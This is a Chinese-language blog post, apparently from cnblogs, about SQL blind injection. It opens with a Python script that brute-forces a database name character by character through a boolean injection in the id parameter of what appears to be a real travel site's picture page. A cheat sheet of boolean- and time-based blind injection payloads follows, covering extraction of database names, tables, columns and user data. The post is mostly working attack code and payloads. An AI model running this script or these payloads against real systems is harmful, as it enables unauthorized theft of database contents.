• SQL盲注 python脚本


    用于做数据库盲注,无回显的python简单脚本

    import requests
    
    def sql_bine():
        database_vule = ""
        print("正在盲注数据库名称:")
        for i in range(1,13):
            for ascii_i in range(29, 128):
                target = 'http://ip/index.php/Allpicture-view.html?type=2&id=99%2F**%2Fand%2B'
                payload = "ascii(substr(database(),{},1))%3D{}".format(str(i), ascii_i)
                target = target+payload
                req = requests.get(url=target)
                # print(req.text)
                if("東联旅游全部图片" in req.text):
                    print("第{}个字母为:{}".format(str(i), chr(ascii_i)))
                    database_vule = database_vule+chr(ascii_i)
                    break
        print("当前数据库名称为:"+database_vule)
    if __name__ == '__main__':
        sql_bine()

    *盲注无回显

    **************SQL测试-基于布尔,延时盲注****************

    知识点:

    regexp            正则表达式

    if       if(条件,5,0)    条件成立 返回5 反之 返回0

    sleep    sleep(5)        SQL语句延时执行5

    mid      mid(a,b,c)      从位置 b 开始, 截取 a 字符串的 c

    substr   substr(abc,1,2) 从第 1 位置开始, 截取字符串 abc 2 长度 则为ab

    left     left(database(),1) database()显示数据库名称, left(a,b)从左侧截取 a 的前 b

    length   length(database())=8,判断数据库database()名的长度

    ascii    ascii(x)=101       判断xascii码是否等于101,即email中的字母e

    基于布尔盲注

    0x01 获取数据库名操作Payload

    获取数据库名长度值

    ?id=1' and length(database())=8 %23

    获取数据库名第一位值

    ?id=1' and left(database(),1)='s' %23 //%23表示#  判断数据库第一个字母是否为s

    获取数据库名第二位值

    ?id=1' and left(database(),2) > 'sa' %23

    ?id=1' and left(database(),2) = 'se' %23

    直到获取数据库名字

    30-127

    ascii(substr(database(),1,1))=101

    0x02 获取表名操作Payload

    获取表名第一个第一位的值

    ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 %23

    获取表名第一个第二位的值

    ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=101 %23

    获取表名第二个第一位的值

    ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101 %23

    0x03 获取列名操作Payload

    获取列名regexp 查询users表第一个列名是否有us...列名

    ?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+

    0x04 获取数据操作Payload

    获取数据 security.users表中username列名的第一个第一位

    ?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+

    基于延时盲注

    0x01 获取数据库名操作Payload

    获取数据库名第一个第一位

    ?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+

    0x02 获取表名操作Payload

    获取列名第一个第一位

    ?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=100,sleep(5),0)--+

    可参考文章:https://www.cnblogs.com/xishaonian/p/6113965.html

  • 相关阅读:
    IntPutStream字节输入流
    FileOutPutStream
    FileOutPutStream 一次写多个字节
    OutPutStream
    FileFilter 2
    FileFilter
    Selenium请求过快 解决方法
    Selenium 定位元素的方法
    Selenium自动化环境安装
    Appium定位元素方法
  • 原文地址:https://www.cnblogs.com/trevain/p/15839502.html
Copyright © 2020-2023  润新知